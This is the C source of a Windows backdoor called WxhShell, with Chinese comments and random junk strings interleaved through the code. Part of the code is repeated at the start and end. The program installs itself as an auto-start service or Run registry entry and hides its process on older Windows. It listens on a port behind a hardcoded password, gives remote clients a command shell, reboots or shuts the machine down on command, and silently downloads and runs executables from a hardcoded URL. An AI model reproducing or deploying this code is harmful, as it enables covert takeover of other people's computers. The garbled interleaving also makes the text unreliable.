Ei7@t static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Pd"h S .9"Y_/0 HANDLE hProcess; V\{tmDE PROCESS_BASIC_INFORMATION pbi; #F*1V(! ,daKC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^~$)F_`" if(NULL == hInst ) return 0; RgGyoZ _x?uU g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ObE,$_ k g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <6fv1d+v NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); * 0|IXGr L}FOjrN if (!NtQueryInformationProcess) return 0; HS.^y
x FP>)&3>_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .'rW.'Ft if(!hProcess) return 0; ?@6/E<-Z$
3Te^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9:!gI|C i-'9AYyw CloseHandle(hProcess); :OkT? (i j8n4fv-)f hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v$7EvFS if(hProcess==NULL) return 0; LK;k'IJ ]b= P= HMODULE hMod; g"L|n7_b char procName[255]; ylB7* >[ unsigned long cbNeeded; m@Qt.4m%g X5`A GyX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KMV=%o ?qX)ihe%k CloseHandle(hProcess); 9&2Vm;F_ !Mu|mz= if(strstr(procName,"services")) return 1; // 以服务启动 \|U l]1pO8 PmR~c, return 0; // 注册表启动 0k'e:AjP } Ezi-VGjr]
ynB _"mg // 主模块 z)xSN;x int StartWxhshell(LPSTR lpCmdLine) =e}H'5?! { "n: %E SOCKET wsl; RKa}$
7 BOOL val=TRUE; ZWm8*}3]7_ int port=0; !TP@-
X; struct sockaddr_in door; yY&3p1AxW] R-RDT9&< if(wscfg.ws_autoins) Install(); .(X
lg-H, (^5 7UmFv] port=atoi(lpCmdLine); =1u@7Bh m "M("% if(port<=0) port=wscfg.ws_port; ncX/L[L <d<mvXbw_@ WSADATA data; cPl`2&p if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1tJg#/? uU> wg*m if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A#W?2k9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _kdL'x door.sin_family = AF_INET; 90#
;?# door.sin_addr.s_addr = inet_addr("127.0.0.1"); I"t(%2*q door.sin_port = htons(port); v @O&t4 V=X:= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; h`0ir4[A closesocket(wsl); )m&U#S _; return 1; H%1$,]F } Maqf[
Vky p)=~% 7DV if(listen(wsl,2) == INVALID_SOCKET) { YqV8D&I closesocket(wsl); 4:sjH.u< return 1; HeK
h> } 6SC,;p= Wxhshell(wsl); ZZj~GQL(S WSACleanup(); a2f^x@0k >z%Q>(F return 0; ^@"H1 mrJQ# } y')RT R{>M k;EPpr-{ // 以NT服务方式启动 c.|l-zAeX VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1TM~*<Jb { teW6;O_ DWORD status = 0; )%X;^(zKM DWORD specificError = 0xfffffff; #$1og= kip`Myw+ serviceStatus.dwServiceType = SERVICE_WIN32; W{5:'9, serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ox#Q2W@Uy serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KT.?Xp:z serviceStatus.dwWin32ExitCode = 0; ]=EM@ serviceStatus.dwServiceSpecificExitCode = 0; 7JDN{!jT serviceStatus.dwCheckPoint = 0; ]O`
{dnP serviceStatus.dwWaitHint = 0; {&[9iIf j.i#*tN// hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BT_tOEL# if (hServiceStatusHandle==0) return; EQe5JFR E"|4Y(G status = GetLastError(); $2MAZGJV if (status!=NO_ERROR) aZk&`Jpz { y#<MVH serviceStatus.dwCurrentState = SERVICE_STOPPED; H2r8,|XL serviceStatus.dwCheckPoint = 0; kL90&nP serviceStatus.dwWaitHint = 0; #RMI&[M serviceStatus.dwWin32ExitCode = status; 2`a
q**} serviceStatus.dwServiceSpecificExitCode = specificError; @+Y8*Rj\3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); =9G;PVk| return; -.<k~71 } f&x0@Q/eON W0zbxJKjd serviceStatus.dwCurrentState = SERVICE_RUNNING; t0#[#I1+ serviceStatus.dwCheckPoint = 0; 8seBT;S serviceStatus.dwWaitHint = 0; f{lZKfrp if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MDRe(rF= } m9md|yS A
K/z6XGy // 处理NT服务事件,比如:启动、停止 70B)|<$ VOID WINAPI NTServiceHandler(DWORD fdwControl) k]rLjcB { kL S(w??T switch(fdwControl) ;50_0Mv;(: { .5Q:Xp case SERVICE_CONTROL_STOP: l+wc'=] serviceStatus.dwWin32ExitCode = 0; 8z<r.joxC serviceStatus.dwCurrentState = SERVICE_STOPPED; DXQi-+? serviceStatus.dwCheckPoint = 0; >J=<bhR serviceStatus.dwWaitHint = 0; 1#
t6`N]?V { L fl-!1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?`zgq>R}w[ } quo^fqS&a return; 6`$[Ini case SERVICE_CONTROL_PAUSE: *]x*B@RF serviceStatus.dwCurrentState = SERVICE_PAUSED; X['2b78k break; nN3$\gHp8i case SERVICE_CONTROL_CONTINUE: [ut#:1h^ serviceStatus.dwCurrentState = SERVICE_RUNNING; ArI]`h'W break; Ae?e 70bY case SERVICE_CONTROL_INTERROGATE: M;Wha;%E" break; 0ZC,BS`D^ }; uu%?K@Qq SetServiceStatus(hServiceStatusHandle, &serviceStatus); #^&jW } WjM>kWv \h3e-) // 标准应用程序主函数 z]Acs int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VG*'"y*%w { sFb4` 3]n0 &MZAR // 获取操作系统版本 {*/dD` OsIsNt=GetOsVer(); )9P&= GetModuleFileName(NULL,ExeFile,MAX_PATH); ~H[%vdR ., :uZyG // 从命令行安装 _1jw=5^P\i if(strpbrk(lpCmdLine,"iI")) Install(); nDlO5 pe"d IbWPlbH // 下载执行文件 vN{-?
if(wscfg.ws_downexe) { `ycU-m== if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }r2[!gGd%| WinExec(wscfg.ws_filenam,SW_HIDE); Y5-kj,CB } sIm#_+Y I}v]Zm9 if(!OsIsNt) { HPa|uDVv // 如果时win9x,隐藏进程并且设置为注册表启动 9DEh*%q HideProc(); jxy1 StartWxhshell(lpCmdLine); 3ViM ?p } 5#_tE<uM else k|O,1 if(StartFromService()) daOS8_py // 以服务方式启动 >$F:*lO StartServiceCtrlDispatcher(DispatchTable); XKq@]=\F else Qa$NBNxKl // 普通方式启动 v_sm StartWxhshell(lpCmdLine); 7aQcP 7nz!0I^ return 0; hXX1<~k } 64D%_8#m 4&N$: j< ^t78jfl *`KrVu 6s =========================================== bV3lE6z Yjup JfTfAq] FD6v/Y `Lz1{#F2G lIuXo3 " %yaG,;>U DuF7HTN[K #include <stdio.h> M^ 5e~y #include <string.h> w3#`1T`N #include <windows.h> V:\]cGA{ #include <winsock2.h> 8Inx/>eOI #include <winsvc.h> 5
R*lVUix #include <urlmon.h> KzkgWMM 93I'cWN #pragma comment (lib, "Ws2_32.lib") 55hyV{L% #pragma comment (lib, "urlmon.lib") GOW"o"S +{6`F1MO #define MAX_USER 100 // 最大客户端连接数 ek[kq[U9 #define BUF_SOCK 200 // sock buffer Igjr~@# #define KEY_BUFF 255 // 输入 buffer Ky&KF0 >I-g[* #define REBOOT 0 // 重启 T_~KxQ #define SHUTDOWN 1 // 关机 6+8mV8{-8 \/,g VT #define DEF_PORT 5000 // 监听端口 BPWnck=% Z}[xQ5 #define REG_LEN 16 // 注册表键长度 ZT9IMihV #define SVC_LEN 80 // NT服务名长度 Qcgu`]7} Wy(pLBmb // 从dll定义API 6_U|(f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n{=7 yK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2 `5=0E1k typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n4>cERfa typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h]P/KVqR. lf8xL9v // wxhshell配置信息 WW3
B struct WSCFG { cqk]NL`' int ws_port; // 监听端口 ja75c~RUw char ws_passstr[REG_LEN]; // 口令 8&T,LNZoY int ws_autoins; // 安装标记, 1=yes 0=no ( 2zeG` char ws_regname[REG_LEN]; // 注册表键名 `Z8^+AMc char ws_svcname[REG_LEN]; // 服务名 "=ElCaP} char ws_svcdisp[SVC_LEN]; // 服务显示名 a)S(p1BGg char ws_svcdesc[SVC_LEN]; // 服务描述信息 +\U]p_Fo3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h^d\xn9GT# int ws_downexe; // 下载执行标记, 1=yes 0=no ;>C9@S+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S*rO0s: char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `r]TA]DR )]A9~H }; M1(9A>|nF 0h:G4 // default Wxhshell configuration gV.f*E1C struct WSCFG wscfg={DEF_PORT, 3"vRK5Bf "xuhuanlingzhe", SW;HjQ>V 1, !3HsI|$<G "Wxhshell", 7(@(Hm "Wxhshell", &<=e_0zT "WxhShell Service", `A"Q3sf% "Wrsky Windows CmdShell Service", A:c]1 "Please Input Your Password: ", ixzTJ]y u 1, ;ct)H*
y "http://www.wrsky.com/wxhshell.exe", /4H[4m]I "Wxhshell.exe" 6s5b$x }; ,$BgR2^ ;24'f-Eri // 消息定义模块 -s89)lUkS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CfY7<o1> char *msg_ws_prompt="\n\r? for help\n\r#>"; O8$~*NFJf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
Ft$^x-d char *msg_ws_ext="\n\rExit."; Nor`c+,4 char *msg_ws_end="\n\rQuit."; NZ)b:~a char *msg_ws_boot="\n\rReboot..."; &PSTwZd char *msg_ws_poff="\n\rShutdown..."; yP%o0n/"x char *msg_ws_down="\n\rSave to "; 55,=[ 2x6<8J8v* char *msg_ws_err="\n\rErr!";
Lxz char *msg_ws_ok="\n\rOK!"; :4iU^6 Hy;901( % char ExeFile[MAX_PATH]; -HN%B?}. x int nUser = 0; '5V^}/ HANDLE handles[MAX_USER]; w`0)x5
TGR int OsIsNt; ]DU61Z"v?b S{ey@X( SERVICE_STATUS serviceStatus; :Dt\:`(r' SERVICE_STATUS_HANDLE hServiceStatusHandle; RZe#|k+
8 HrDTn&/ // 函数声明 .
Jb?]n int Install(void); 2pjW,I!` int Uninstall(void); 33,;iE int DownloadFile(char *sURL, SOCKET wsh); h*G#<M int Boot(int flag); Gj5>Y!9 void HideProc(void); >j)
w\i int GetOsVer(void); ;fj9n- int Wxhshell(SOCKET wsl);
rWqkdi1 void TalkWithClient(void *cs); e"PMvQ int CmdShell(SOCKET sock); srsK:%` int StartFromService(void); @7 )Z int StartWxhshell(LPSTR lpCmdLine); u2\+?`Ox
:4{Qh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v8>!Gft VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6 1L7
-~ VkWO} // 数据结构和表定义 ]u;GNz}? SERVICE_TABLE_ENTRY DispatchTable[] = 90?,-6 { V8\$`NEP {wscfg.ws_svcname, NTServiceMain}, m:b^,2"g {NULL, NULL} 6TY){Pw }; -!i;7[N ~~U< // 自我安装 6#fOCr;f7 int Install(void) T7^ulG1' { YN4"O> char svExeFile[MAX_PATH]; \m%J`{Mt HKEY key; g%X &f_@ strcpy(svExeFile,ExeFile); ~c!Rx' ot]>}[
// 如果是win9x系统,修改注册表设为自启动 x3gwG)Sf if(!OsIsNt) { \ibCR~W4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 32s5-.{c/f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZU)BJ!L,s RegCloseKey(key); v3?kFd7%H~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hTDV!B-_( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m**0rpA RegCloseKey(key); gH5CB%) return 0; vJ~4D*(]l } s c5\( b } tSI& "- } v'h3CaA9j else { 7Nd*,DV_ T=^jCH & // 如果是NT以上系统,安装为系统服务 E]\D>[0O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %A8Pkr<&E if (schSCManager!=0) O>nK,. { ZGA)r0]
P` SC_HANDLE schService = CreateService FwXKRZa ( T!Xm")d schSCManager, 1]_?$)$T wscfg.ws_svcname, 1V-=$Q3
V7 wscfg.ws_svcdisp, C2CYIok$& SERVICE_ALL_ACCESS, <%M\7NDWDA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5?Uo&e SERVICE_AUTO_START, &$<(D0 SERVICE_ERROR_NORMAL, iJ,M-GHK svExeFile, o<Xc,mP NULL, Sjw2 j#Q NULL, 1RCXc>}/ NULL, lr-12-D%- NULL, N$C{f;xV NULL L[CU ); @>M8Pe if (schService!=0) \m(ymp<c` { Jq=00fcT+ CloseServiceHandle(schService); K5 5} Wi CloseServiceHandle(schSCManager); DLNa6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VV?]U$ strcat(svExeFile,wscfg.ws_svcname); Y0 @'za^y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "kcpA#uD| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #.<*; rB RegCloseKey(key); `l+ >iM return 0; $dlnmNP+ } {9h`$e= } ov?.:M CloseServiceHandle(schSCManager); I/^q+l.=`{ } +R2^*
*< } a];BW)
cSY2#u|v return 1; F9Ifw><XM } mGt\7&` [u/zrpTk // 自我卸载 #=`FM:WH int Uninstall(void) }l,T~Pjb { }5fU7&jA;3 HKEY key; CWE Ejl 6W)xj6<@ if(!OsIsNt) { *eHA:
A_I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LN@lrC7X RegDeleteValue(key,wscfg.ws_regname); C$$"{FfgU" RegCloseKey(key); l5{(z;xM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fn1 ?Qp| RegDeleteValue(key,wscfg.ws_regname);
H;b8I RegCloseKey(key); tn"Y9
k| return 0; ATKYjhc _ } \Ku9"x } 'dmp4VT3 } "}S9`-Wd| else { [54@i rH IW5*9)N? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [>b
'}4 if (schSCManager!=0) 2q`)GCES~ { +CsI,Uf4* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ul'~opf if (schService!=0)
80{#bb { cxtLy&C if(DeleteService(schService)!=0) { hg%@ W CloseServiceHandle(schService); T)b3N|ONB CloseServiceHandle(schSCManager); iifc;6 2 return 0; a"`g"ZRx } ) 1lJ<g# CloseServiceHandle(schService); /W"Bf } s5c! ^,L8 CloseServiceHandle(schSCManager); UI|v/(_^F } 03X<x| } "\VW.S GOv92$e return 1; y+K7WUwhq } AzHIp^ P`\m9"7 // 从指定url下载文件 S/@dkHI' int DownloadFile(char *sURL, SOCKET wsh) B'G*y2UnG { Fy}MXe"f HRESULT hr; xT_fr,P char seps[]= "/"; .yctE:n char *token; ^/`#9]<% char *file; PphR4 sIM char myURL[MAX_PATH]; ](B&l{V char myFILE[MAX_PATH]; 8gVxiFjo 5?V? strcpy(myURL,sURL); lH#@^i|G token=strtok(myURL,seps); 5;3c< while(token!=NULL) "/4s8.dw+u { 3e!3.$4M file=token; Nw9-pQ token=strtok(NULL,seps); ,omp F$% } ka?IX9t\ "C$!mdr7 GetCurrentDirectory(MAX_PATH,myFILE); 09}f\/ strcat(myFILE, "\\"); $\YLmG strcat(myFILE, file); cCo07R send(wsh,myFILE,strlen(myFILE),0); GW>7R6i send(wsh,"...",3,0); H j5WJ{p. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ft%TnEp if(hr==S_OK) `nd#< w> return 0; % +kT else /(hP7_]`2 return 1; '(3Nopl @e.OU(Bf } &xGfkCP.] }}sRTW // 系统电源模块 !7IT~pO` int Boot(int flag) ps!5HZ2: { Vq\..!y HANDLE hToken; U}RS*7` TOKEN_PRIVILEGES tkp; VgFF+Eg Se^/VVm if(OsIsNt) { GvZac OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RvyBg:Aj5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l6&v}M tkp.PrivilegeCount = 1; Ie^Dn!0S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W%cj39$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rj2r# {[ if(flag==REBOOT) { Vq .!(x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kc JP^ return 0; ]v^`+s}3 } bMqu5G_q else { 1^x2WlUm4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E&iWtwkz return 0; =M/UHOY } Z!]U&Ax`Z } dbMu6Bm\G else { BDRYip[Sa if(flag==REBOOT) { DuO%B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V 9QvQA
r return 0; dVsAX( } 4,w{rmj else { 0TuOY%+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 68'-1} return 0; lry&)G=5 } D_yY0rRM }
:kp UALg!M# return 1; &m%Pr } L!8 -:)0b DmXDg7y7s // win9x进程隐藏模块 @Q$/eL void HideProc(void) @ V7ooo! { |L.~Amd 9h3~;Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cdt,//xrz if ( hKernel != NULL ) GqIvvnw@f { _ pH6uuB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A5.'h< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H4y1Hpa, FreeLibrary(hKernel); I7G\X#,iz } (}~eD wCq)w=, return; w371.84 } *xv/b= XC$+ `? // 获取操作系统版本 Y&05
*b" int GetOsVer(void) ](9{}DHV { 1VjeP
* OSVERSIONINFO winfo; zNsL^;uT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -X&!dV:= 4 GetVersionEx(&winfo); J++sTQ(!? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "f&i 251 return 1; ?) ,xZ1" else n6%jhv9H return 0; WkDn } j6R{ 0IPhVG~# // 客户端句柄模块 t7!>5e)C} int Wxhshell(SOCKET wsl) t5jhpPVf { ,3@15j SOCKET wsh; :|m~<'g struct sockaddr_in client; vY0V{u?J DWORD myID; LG&Q>pt. '#4mDz~ while(nUser<MAX_USER) QzFv ; { &Xl_sDvt int nSize=sizeof(client); z[lRb]:i[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m|ERf 2- if(wsh==INVALID_SOCKET) return 1; soqNzdTB2 Y8`))MeD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZTBFV/{ if(handles[nUser]==0) E!}-qbH^ closesocket(wsh); S!I <m&Cgc else vU$O{|J nUser++; qs
c-e,rl } >nIcFm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L1Cn +{Jf]"KD return 0; tls6rto } 0ZID
@^ bZOy~F| // 关闭 socket l>5]Wd{/ void CloseIt(SOCKET wsh) h-_0 A] { [q>i closesocket(wsh); 2$i 0yPv nUser--; l LD)i J1 ExitThread(0); ,Y\4xg*` } ^cmP 6dS1\Y // 客户端请求句柄 ,~N+?k_ void TalkWithClient(void *cs) [;CqvD<S { 0Li'a{n 2 ;DgX"Uzm SOCKET wsh=(SOCKET)cs; 9CU6o:'fW char pwd[SVC_LEN]; )V$! char cmd[KEY_BUFF]; }rMpp[ char chr[1]; ,?~UpsUx int i,j; ,md7.z]U~ q/2K=BOh while (nUser < MAX_USER) { xZ'`_x9l SiuO99'nV if(wscfg.ws_passstr) { norc!?L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k89gJ5B$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (+Kof //ZeroMemory(pwd,KEY_BUFF); '3_B1iAv i=0; =
a.n`3`Q while(i<SVC_LEN) { v!RB(T3 zju,#% // 设置超时 "MS`d+rf\ fd_set FdRead; l6DIsR struct timeval TimeOut; xc]C#q FD_ZERO(&FdRead); $:gSc&mx FD_SET(wsh,&FdRead); C(|T/rQ- TimeOut.tv_sec=8; K9N0kBJ0< TimeOut.tv_usec=0; >->xhlL* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >*i8RqU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #2vG_B<M) ! lN a` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?nGf Wx^ pwd=chr[0]; %:;[M|. if(chr[0]==0xd || chr[0]==0xa) { v^18o$=K", pwd=0; I'%H:53^0 break; R
EH&kcn } <:;:*s3] i++; ZR q}g: } e}O -I NF\^'W@N // 如果是非法用户,关闭 socket UE`4$^qs if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M>H^<N}'A } 0)Xue9AS cLko send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'SD|ObBY send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y <i}"eI* -"dy z( while(1) { j!_^5d#d 8 8=c3^ ZeroMemory(cmd,KEY_BUFF); D*r Zaqy a~eLkWnh<k // 自动支持客户端 telnet标准 @?cXa: tX j=0; ,bwopRcA while(j<KEY_BUFF) { AFB 7s z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?NzeP?g cmd[j]=chr[0]; .L{+O6*c if(chr[0]==0xa || chr[0]==0xd) { b%jG?HSu cmd[j]=0; (kNTXhAr4 break; M^Ay,jK! } =^AZx)Kwd j++; +?txGHQq } C\>Mt @P5@&G // 下载文件 VJtTbt;> if(strstr(cmd,"http://")) { <9.7 gwzE send(wsh,msg_ws_down,strlen(msg_ws_down),0); +:Q/<^Z if(DownloadFile(cmd,wsh)) 1;~ 1U9V send(wsh,msg_ws_err,strlen(msg_ws_err),0); DoB3_=yJ+ else MG5Sn*(C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {1U*:@j } Ollv _o3 else { '{k Nbx51 YeVc,B' switch(cmd[0]) { ~
2oP,
:ItW| // 帮助 2bxMIr case '?': { H;Qn?^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q]%bd[zkz break; Fsj&/:
q } vA-p}]% // 安装 .%b_3s". case 'i': { ^JVP2L>o* if(Install()) Vd>.fb\U2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); s@[t5R
else U7%pOpO! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJ_)Cl+5E break; ~@?-|xLqQ } zXU{p\;)\ // 卸载 3U.qN0] case 'r': { "t&k{\$\ if(Uninstall()) 207oEO] send(wsh,msg_ws_err,strlen(msg_ws_err),0); i/Lq2n3 ) else {,2_K6# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EAXU{dRV break; LP6FSo~K } w >BFgb? // 显示 wxhshell 所在路径 &u\z
T
P case 'p': { RW^ v {'o char svExeFile[MAX_PATH]; CuO*>g^K[ strcpy(svExeFile,"\n\r"); UKQ&TV}0 strcat(svExeFile,ExeFile); 2.2a2.I1 send(wsh,svExeFile,strlen(svExeFile),0); `(suRp8! break; `+;oo B } zP'pfBgbJW // 重启 >$52B9ie case 'b': { !Lug5U} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
QLU;.& if(Boot(REBOOT)) !Jnw_) send(wsh,msg_ws_err,strlen(msg_ws_err),0); OmbKx&>YGz else { "$cT*}br closesocket(wsh); 24/~gft ExitThread(0); 6="&K_Q7 } .p~;U|h" break; Vy~$%H94 } fQ4$@ // 关机 q=i<vcw
case 'd': { LK/V]YG send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n$Fm~iPo, if(Boot(SHUTDOWN)) H{zuIN/.1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); W2Z]?l;vQQ else { B{(l5B6 closesocket(wsh); x i,wL0{ ExitThread(0); P]{.e UB@c } -" K:ve(K break; U)]natB } gt (nZ // 获取shell EZRZ)h case 's': { K"$ky,tU CmdShell(wsh); .3&OFM closesocket(wsh); x#mk[SV ExitThread(0); q\Kdu5x{ break; H,` XCG } G{=$/&St // 退出 y'/9KrV
T case 'x': { 'u/HQg* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jo+C!kc CloseIt(wsh); l #z`4< break; $0 zL } )pa|uH+N // 离开 .tsB$,/ case 'q': { *3Z#r send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y
@&nW closesocket(wsh); ofCP>Z- WSACleanup(); #eyx exit(1); Z@A 1+kUS break; .e#j#tQp } muY^Fx } s>I}-=.(Q } kO4~N-& k]5L\]>y // 提示信息 7z&u92dJI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !W^II>Y } S3cQC`^ } xGL"N1 1sA-BQL return; wX;NU4)n } 0X w?} W#\4"'=I // shell模块句柄 3I(H.u int CmdShell(SOCKET sock) sOmYQ{R { )dcGV$4t[ STARTUPINFO si; *A`^ C ZeroMemory(&si,sizeof(si)); 0AenDm@9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XWV ~6" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &LYZQ?| PROCESS_INFORMATION ProcessInfo; t[~i})yS char cmdline[]="cmd"; 4+:u2&I CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b\mN^P~>A return 0; |lY8u~% } ]A[~2] C?k4<B7V // 自身启动模式 m^KkS int StartFromService(void) ?zqXHv#x { Gr?gHAT typedef struct P6rL;_~e { S)?B
I DWORD ExitStatus; m`aUz}Y>c DWORD PebBaseAddress; JG4I-\+H
DWORD AffinityMask; F!8425oAw DWORD BasePriority; `h#JDcT;a ULONG UniqueProcessId; 0c)19Ig ULONG InheritedFromUniqueProcessId; YQJ_t@0C } PROCESS_BASIC_INFORMATION; []NAV V6N#%(?3 PROCNTQSIP NtQueryInformationProcess; ?jnEHn x g@;d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^m\n[<x^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ruVm8BO K\PS$ HANDLE hProcess; x($1pAE PROCESS_BASIC_INFORMATION pbi; gV0ZZ"M Ff30% HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fpUX
@b if(NULL == hInst ) return 0; "]%
L{aP 89l}6p/L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^z1WPI g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); APya& |